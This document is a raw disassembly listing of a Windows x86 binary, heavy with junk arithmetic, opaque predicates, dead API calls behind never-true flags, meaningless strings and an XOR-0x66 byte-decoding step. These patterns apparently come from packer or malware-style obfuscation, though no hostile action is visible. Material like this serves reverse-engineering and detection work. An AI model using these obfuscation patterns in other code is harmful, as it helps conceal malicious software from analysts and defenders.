cmp dword [ebp - 0x774], 0xfffffffb
jb 0x1002d636
cmp dword [ebp - 0xf0], 0
je 0x1002d64f
mov dword [ebp - 0x8fc], 0xffffffff
mov dword [ebp - 0x8fc], 0
jmp 0x1002d71e
mov dword [ebp - 0x514], 0xfb91
mov dword [ebp - 0xa68], 1
push 2
lea ecx, [ebp - 0xd14]
call fcn.1000c530
mov byte [ebp - 4], 0x11
mov dword [ebp - 0xcb4], 0x41bbbbfe
mov dword [ebp - 0x51c], 0x9ef3
mov dword [ebp - 0x190], 0
jmp 0x1002d6a1
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x1002d6c3
push dword [ebp - 0x190]
lea ecx, [ebp - 0xd14]
call fcn.1000c5cf
mov dword [eax], 5
jmp 0x1002d694
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0xd18], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x514], eax
jl 0x1002d6ef
mov dword [ebp - 0x6ac], 1
jmp 0x1002d6f6
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6ac]
mov dword [ebp - 0xa68], eax
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xd14]
call fcn.1000c5b3
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x1002d738
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xd58]
call fcn.1000c5b3
jmp 0x1002d4bd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdf4]
call fcn.1000c5b3
push 3
lea ecx, [ebp - 0xc54]
call fcn.1000c530
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x198], 0
jmp 0x1002d792
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x1002d7b4
push dword [ebp - 0x198]
lea ecx, [ebp - 0xc54]
call fcn.1000c5cf
mov dword [eax], 0xfffffff6
jmp 0x1002d785
mov dword [ebp - 0x120], 2
jmp 0x1002d7cd
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jl 0x1002d7f0
push dword [ebp - 0x120]
lea ecx, [ebp - 0xc54]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002d7ee
jmp 0x1002d7f0
jmp 0x1002d7c0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc54]
call fcn.1000c5b3
mov byte [ebp - 0x168], 7
mov byte [ebp - 0x167], 0x27
mov byte [ebp - 0x166], 4
mov byte [ebp - 0x165], 0x33
mov byte [ebp - 0x164], 0xc
mov byte [ebp - 0x163], 1
mov byte [ebp - 0x162], 2
mov byte [ebp - 0x161], 7
mov byte [ebp - 0x160], 3
mov byte [ebp - 0x15f], 0x24
mov byte [ebp - 0x15e], 0xa
mov byte [ebp - 0x15d], 0x22
mov byte [ebp - 0x15c], 0xb
mov byte [ebp - 0x15b], 0x17
mov byte [ebp - 0x15a], 0xd
mov byte [ebp - 0x159], 0x16
mov byte [ebp - 0x158], 4
mov byte [ebp - 0x157], 0x5d
mov byte [ebp - 0x156], 0xfd
mov byte [ebp - 0x155], 0xb8
mov byte [ebp - 0x154], 0x65
mov byte [ebp - 0x153], 5
mov byte [ebp - 0x152], 0x1c
mov byte [ebp - 0x151], 6
mov byte [ebp - 0x150], 0xc
mov byte [ebp - 0x14f], 1
mov byte [ebp - 0x14e], 6
mov byte [ebp - 0x14d], 8
mov byte [ebp - 0x14c], 1
mov byte [ebp - 0x14b], 9
mov byte [ebp - 0x14a], 0
mov byte [ebp - 0x149], 0
mov byte [ebp - 0x148], 0x23
mov dword [ebp - 0x7f8], 0x5936
mov dword [ebp - 0x908], str.imlb_yeqfmdq_bfr_bye_kxm_rkn_scqypcvad_nyqqkc_wydq_vnnjwn_ldchlqww
cmp dword [ebp - 0x7f8], 0x59d9
jle 0x1002d97d
and dword [ebp - 0x1a0], 0
jmp 0x1002d91c
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x5d7a
jge 0x1002d97d
and dword [ebp - 0x1a8], 0
jmp 0x1002d93e
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x7d3c
jge 0x1002d97b
mov eax, dword [ebp - 0x1a0]
xor eax, dword [ebp - 0x1a8]
cdq
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x978], edx
push dword [ebp - 0x978]
push dword [ebp - 0x97c]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002d931
jmp 0x1002d90f
mov dword [ebp - 0x138], 0
cmp dword [ebp - 0x7f8], 0x58ff
jge 0x1002d9a3
mov edx, dword [ebp - 0x908]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x524], 0x2108
mov dword [ebp - 0xac8], str.slpavr_bhxgd_qesmmdxa
cmp dword [ebp - 0x524], 0x232d
jle 0x1002da74
and dword [ebp - 0x1b0], 0
jmp 0x1002d9dd
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x15ff
jge 0x1002da74
and dword [ebp - 0x1b8], 0
jmp 0x1002da03
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x2745
jge 0x1002da6f
and dword [ebp - 0x1c0], 0
jmp 0x1002da25
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x72c
jge 0x1002da6d
mov eax, dword [ebp - 0x1b0]
cdq
idiv dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1c0]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x988], eax
mov dword [ebp - 0x984], edx
push dword [ebp - 0x984]
push dword [ebp - 0x988]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002da18
jmp 0x1002d9f6
jmp 0x1002d9d0
mov dword [ebp - 0x88], 0
cmp dword [ebp - 0x524], 0x1d60
jge 0x1002da9a
mov edx, dword [ebp - 0xac8]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x3c8], 0xd814
mov dword [ebp - 0x544], 0xfffffffd
mov dword [ebp - 0x6c4], 0xfc0336ae
mov dword [ebp - 0xa70], 0x2e4a6b2c
mov dword [ebp - 0x60], 0
jmp 0x1002dad2
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x1002dae8
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xb9c], 0xe2db80eb
jmp 0x1002dacb
mov dword [ebp - 0x60], 0
jmp 0x1002daf8
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x1002db0e
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x914], 0xffffffff
jmp 0x1002daf1
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x1002dc39
mov eax, 0x407858f9
test eax, eax
je 0x1002db45
cmp dword [ebp - 0x88], 0
je 0x1002db45
mov dword [ebp - 0x6b4], 1
jmp 0x1002db4c
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xd20], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xcc4], eax
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xd28], eax
mov eax, dword [ebp - 0x3c8]
cmp dword [ebp - 0x88], eax
je 0x1002db8a
mov dword [ebp - 0x52c], 1
jmp 0x1002db91
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x6b4]
cmp eax, dword [ebp - 0x52c]
jge 0x1002dbab
mov dword [ebp - 0x77c], 1
jmp 0x1002dbb2
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x534], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x534]
mov dword [ebp + eax - 0xb9c], ecx
mov eax, dword [ebp - 0x3c8]
cmp dword [ebp - 0x534], eax
je 0x1002dbf7
mov dword [ebp - 0x6bc], 1
jmp 0x1002dbfe
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x6bc], eax
jl 0x1002dc18
mov dword [ebp - 0x53c], 1
jmp 0x1002dc1f
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
sub eax, 0xf553
imul eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x138]
jg 0x1002dc55
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb9c], 0
je 0x1002dc55
mov dword [ebp - 0x398], 1
jmp 0x1002dc5c
and dword [ebp - 0x398], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x398]
mov dword [ebp + eax - 0x914], ecx
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x398], eax
je 0x1002dc89
mov dword [ebp - 0x7e4], 1
jmp 0x1002dc90
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x544], eax
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0xa70], eax
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x168]
or eax, 0x66
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x168]
and ecx, 0x66
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x168]
mov byte [ebp + ecx - 0x894], al
mov dword [ebp - 0x1c8], 0xfffffffc
mov dword [ebp - 0xb1c], 0xfffffff9
mov dword [ebp - 0xccc], 0xc3707822
mov dword [ebp - 0xd30], 0x37a9a971
mov dword [ebp - 0xcd4], 0x9900
mov dword [ebp - 0xd38], 0xc2fdcba8
mov dword [ebp - 0xce4], 0xffffffff
mov dword [ebp - 0x50], 0
jmp 0x1002dd43
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x1002dd59
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe8c], 0xd5fac122
jmp 0x1002dd3c
mov dword [ebp - 0x50], 0
jmp 0x1002dd69
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x1002dd7f
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xb94], 0x5f79
jmp 0x1002dd62
mov dword [ebp - 0x1c8], 0
jmp 0x1002dd98
mov eax, dword [ebp - 0x1c8]
dec eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0xffffffee
jg 0x1002ddb9
mov dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0xb1c], eax
jmp 0x1002dd8b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb94]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb94], eax
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x114], 0
jmp 0x1002ddec
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x21
jae 0x1002f1f8
mov dword [ebp - 0x10], 3
mov dword [ebp - 0x554], 7
mov dword [ebp - 0x90], 0x52b4b5a9
mov dword [ebp - 0x404], 0xffffffff
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x1d8], 4
mov dword [ebp - 0x128], 0x61e9426
push 2
lea ecx, [ebp - 0xc18]
call fcn.1000c530
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x1d0], 0
jmp 0x1002de66
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 2
jge 0x1002de88
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0xc18]
call fcn.1000c5cf
mov dword [eax], 0x6e89be30
jmp 0x1002de59
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xd40], eax
push 2
pop eax
test eax, eax
je 0x1002deaa
cmp dword [ebp - 0x10], 0
je 0x1002deaa
mov dword [ebp - 0x54c], 1
jmp 0x1002deb1
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x54c]
neg eax
cmp eax, dword [ebp - 0x10]
je 0x1002ded1
cmp dword [ebp - 0x10], 0
jne 0x1002ded1
and dword [ebp - 0x784], 0
jmp 0x1002dedb
mov dword [ebp - 0x784], 1
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x554], eax
jl 0x1002defe
mov dword [ebp - 0x6cc], 1
jmp 0x1002df05
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x90], eax
jl 0x1002df28
mov dword [ebp - 0x55c], 1
jmp 0x1002df2f
and dword [ebp - 0x55c], 0
cmp dword [ebp - 0x55c], 3
ja 0x1002df44
mov dword [ebp - 0x81c], 1
jmp 0x1002df4b
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x81c], eax
jne 0x1002df62
mov dword [ebp - 0x564], 1
jmp 0x1002df69
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
sub eax, dword [ebp - 0x10]
jne 0x1002df92
mov eax, 0x79dc8669
test eax, eax
jne 0x1002df92
and dword [ebp - 0x6d4], 0
jmp 0x1002df9c
mov dword [ebp - 0x6d4], 1
mov eax, dword [ebp - 0x6d4]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x56c], 1
jmp 0x1002dfbe
cmp dword [ebp - 0x56c], 0xe85fcb44
ja 0x1002dfdc
cmp dword [ebp - 0x90], 0
jne 0x1002dfdc
and dword [ebp - 0x78c], 0
jmp 0x1002dfe6
mov dword [ebp - 0x78c], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x78c], eax
jne 0x1002dffd
mov dword [ebp - 0x92c], 1
jmp 0x1002e004
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xcf4], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x10], eax
jge 0x1002e02d
mov dword [ebp - 0x574], 1
jmp 0x1002e034
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x574], eax
jle 0x1002e04b
mov dword [ebp - 0x6dc], 1
jmp 0x1002e052
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x90], 0xffffffe8
jmp 0x1002e074
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x1b
jl 0x1002e348
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x5a4], 0xfffffff7
mov dword [ebp - 0x6f4], 0
cmp dword [ebp - 0x10], 0xffffffff
jb 0x1002e0b1
mov dword [ebp - 0x57c], 1
jmp 0x1002e0b8
and dword [ebp - 0x57c], 0
cmp dword [ebp - 0x57c], 0xfffffff6
je 0x1002e0ec
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x1002e0e7
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
jmp 0x1002e2d2
mov dword [ebp - 0x3a0], 0x65392fb3
mov dword [ebp - 0xe8], 0xffffffe2
jmp 0x1002e10f
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xfffffffe
jge 0x1002e2c7
cmp dword [ebp - 0xc0], 0
je 0x1002e168
mov dword [ebp - 0xc0], 0x12
jmp 0x1002e13e
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xffffffe5
jg 0x1002e163
mov byte [ebp - 0x98], 0
movzx eax, byte [ebp - 0x98]
test eax, eax
je 0x1002e161
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
jmp 0x1002e131
jmp 0x1002e2c2
mov dword [ebp - 0x7ec], 1
mov dword [ebp - 0xa78], 1
mov eax, dword [ebp - 0xc0]
neg eax
cmp dword [ebp - 0xc0], eax
jl 0x1002e198
mov dword [ebp - 0x794], 1
jmp 0x1002e19f
and dword [ebp - 0x794], 0
cmp dword [ebp - 0x1d8], 0
jne 0x1002e1b4
mov dword [ebp - 0x594], 1
jmp 0x1002e1bb
and dword [ebp - 0x594], 0
cmp dword [ebp - 0x3a0], 0
je 0x1002e1e3
mov dword [ebp - 0x7ec], 0x56cf6d70
cmp dword [ebp - 0x7ec], 0
je 0x1002e1e3
mov dword [ebp - 0x584], 1
jmp 0x1002e1ea
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x584], eax
jg 0x1002e204
mov dword [ebp - 0x6e4], 1
jmp 0x1002e20b
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x3a0]
add eax, dword [ebp - 0x6e4]
je 0x1002e22c
push 2
pop eax
test eax, eax
je 0x1002e22c
mov dword [ebp - 0x58c], 1
jmp 0x1002e233
and dword [ebp - 0x58c], 0
cmp dword [ebp - 0x58c], 0x95b9
je 0x1002e25d
cmp dword [ebp - 0x404], 0
je 0x1002e25d
cmp dword [ebp - 0x90], 0
je 0x1002e25d
mov dword [ebp - 0x6ec], 1
jmp 0x1002e264
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x794]
imul eax, dword [ebp - 0x594]
cmp eax, dword [ebp - 0x6ec]
jle 0x1002e285
mov dword [ebp - 0x59c], 1
jmp 0x1002e28c
and dword [ebp - 0x59c], 0
cmp dword [ebp - 0x59c], 0x525a5285
jle 0x1002e2a4
mov dword [ebp - 0x80c], 1
jmp 0x1002e2ab
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
add eax, 0x732b
imul eax, eax, 0xffff
mov dword [ebp - 0xa78], eax
jmp 0x1002e102
cmp dword [ebp - 0x3a0], 0
je 0x1002e2d2
jmp 0x1002e348
mov dword [ebp - 0x128], 0x15
jmp 0x1002e2eb
mov eax, dword [ebp - 0x128]
dec eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xfffffff0
jne 0x1002e343
mov dword [ebp - 0x938], 0x64fc
mov dword [ebp - 0xad8], 0xfffffff9
mov esi, dword [ebp - 0x938]
push 1
lea ecx, [ebp - 0xc18]
call fcn.1000c5cf
mov dword [eax], esi
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x6f4], eax
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0xad8], eax
jmp 0x1002e2de
jmp 0x1002e067
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc18]
call fcn.1000c5b3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x168]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1002e99a
mov dword [ebp - 0x104], 0xfffffff8
mov dword [ebp - 0x104], 0
jmp 0x1002e395
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jl 0x1002e3c5
cmp dword [ebp - 0x104], 0
je 0x1002e3a9
jmp 0x1002e3c5
mov byte [ebp - 0xca], 0
movzx eax, byte [ebp - 0xca]
test eax, eax
je 0x1002e3c3
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x1002e388
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x168]
inc eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x3f4], 0xffffffff
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x3a8], 0xd77cccae
mov dword [ebp - 0x5c4], 0x9034e105
mov byte [ebp - 0x9a], 0
movzx eax, byte [ebp - 0x9a]
test eax, eax
je 0x1002e426
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PostMessageA]
push 8
pop eax
test eax, eax
je 0x1002e46f
cmp dword [ebp - 0x14], 0x5eaf
je 0x1002e442
mov dword [ebp - 0x5ac], 1
jmp 0x1002e449
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x5ac]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x3d0], eax
je 0x1002e46f
mov dword [ebp - 0x79c], 1
jmp 0x1002e476
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0x14]
jge 0x1002e491
mov dword [ebp - 0x5b4], 1
jmp 0x1002e498
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5b4], eax
je 0x1002e4af
mov dword [ebp - 0x6fc], 1
jmp 0x1002e4b6
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xd48], eax
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0xdb4], eax
mov eax, dword [ebp - 0x3d0]
add eax, dword [ebp - 0x14]
je 0x1002e4f7
cmp dword [ebp - 0x3a8], 0
je 0x1002e4f7
mov dword [ebp - 0x5bc], 1
jmp 0x1002e4fe
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5bc], eax
jg 0x1002e515
mov dword [ebp - 0x7f4], 1
jmp 0x1002e51c
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x7f4]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5c4], eax
je 0x1002e543
xor eax, eax
je 0x1002e543
mov dword [ebp - 0x944], 1
jmp 0x1002e54a
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xd24], eax
mov eax, 0xc72b752b
test eax, eax
jae 0x1002e568
mov dword [ebp - 0x704], 1
jmp 0x1002e56f
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x704]
je 0x1002e586
mov dword [ebp - 0x5cc], 1
jmp 0x1002e58d
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5cc], eax
jne 0x1002e5a4
mov dword [ebp - 0x7a4], 1
jmp 0x1002e5ab
and dword [ebp - 0x7a4], 0
mov dword [ebp - 0x3f4], 5
mov eax, dword [ebp - 0x3f4]
cmp eax, dword [ebp - 0x7a4]
jl 0x1002e5cf
mov dword [ebp - 0x5d4], 1
jmp 0x1002e5d6
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x5d4], eax
jl 0x1002e5ed
mov dword [ebp - 0xa80], 1
jmp 0x1002e5f4
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xd90], eax
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x168]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3d8], 0xfffffff8
mov dword [ebp - 0x5f4], 0x6bde64f
mov dword [ebp - 0x378], 0x1a7a81a8
push 2
lea ecx, [ebp - 0xae4]
call fcn.1000c530
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x3b0], 0xffffffff
mov dword [ebp - 0xc8], 0xa684a08d
mov dword [ebp - 0x37c], 0xad92
mov dword [ebp - 0x68], 0
jmp 0x1002e67b
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1002e697
push dword [ebp - 0x68]
lea ecx, [ebp - 0xae4]
call fcn.1000c5cf
mov dword [eax], 1
jmp 0x1002e674
mov dword [ebp - 0x68], 0
jmp 0x1002e6a7
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1002e6bd
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x7d4], 0x71658a60
jmp 0x1002e6a0
mov eax, 0x40ed3c15
test eax, eax
je 0x1002e840
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
jne 0x1002e764
push 1
lea ecx, [ebp - 0xae4]
call fcn.1000c5cf
mov dword [ebp - 0x70c], eax
push 0
lea ecx, [ebp - 0xae4]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x70c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x378]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x7d4]
mov ecx, dword [ebp - 0x70c]
cmp dword [ecx], eax
je 0x1002e739
mov dword [ebp - 0x5dc], 1
jmp 0x1002e740
and dword [ebp - 0x5dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d4]
imul eax, dword [ebp - 0x5dc]
cmp eax, 0x45db0ff8
jg 0x1002e764
and dword [ebp - 0x818], 0
jmp 0x1002e76e
mov dword [ebp - 0x818], 1
cmp dword [ebp - 0x818], 0
je 0x1002e783
mov dword [ebp - 0x5e4], 1
jmp 0x1002e78a
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5e4]
neg eax
cmp eax, 0x6c9c
jge 0x1002e7a5
mov dword [ebp - 0x714], 1
jmp 0x1002e7ac
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x714]
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0
je 0x1002e7dd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7d4], 0
je 0x1002e7dd
mov dword [ebp - 0x5ec], 1
jmp 0x1002e7e4
and dword [ebp - 0x5ec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7d4]
cmp dword [ebp - 0x5ec], eax
jge 0x1002e805
mov dword [ebp - 0x3b8], 1
jmp 0x1002e80c
and dword [ebp - 0x3b8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp + eax - 0x7d4], ecx
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0
je 0x1002e840
mov dword [ebp - 0x7ac], 1
jmp 0x1002e847
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7ac]
mov dword [ebp - 0x5f4], eax
mov eax, dword [ebp - 0x5f4]
sub eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xc8]
jge 0x1002e873
mov dword [ebp - 0x71c], 1
jmp 0x1002e87a
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x71c], eax
je 0x1002e894
mov dword [ebp - 0x5fc], 1
jmp 0x1002e89b
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x5fc], eax
jg 0x1002e8c4
push 1
lea ecx, [ebp - 0xae4]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002e8c4
and dword [ebp - 0x7fc], 0
jmp 0x1002e8ce
mov dword [ebp - 0x7fc], 1
mov eax, dword [ebp - 0x7fc]
sub eax, 8
cmp eax, dword [ebp - 0x37c]
jle 0x1002e8eb
mov dword [ebp - 0x604], 1
jmp 0x1002e8f2
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x604], eax
jne 0x1002e90c
mov dword [ebp - 0x724], 1
jmp 0x1002e913
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x724], eax
jg 0x1002e92d
mov dword [ebp - 0x60c], 1
jmp 0x1002e934
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x37c]
cmp dword [ebp - 0x60c], eax
jge 0x1002e94e
mov dword [ebp - 0x7b4], 1
jmp 0x1002e955
and dword [ebp - 0x7b4], 0
cmp dword [ebp - 0x7b4], 0xe7179999
jae 0x1002e96d
mov dword [ebp - 0x614], 1
jmp 0x1002e974
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x37c]
mov dword [ebp - 0xc8], eax
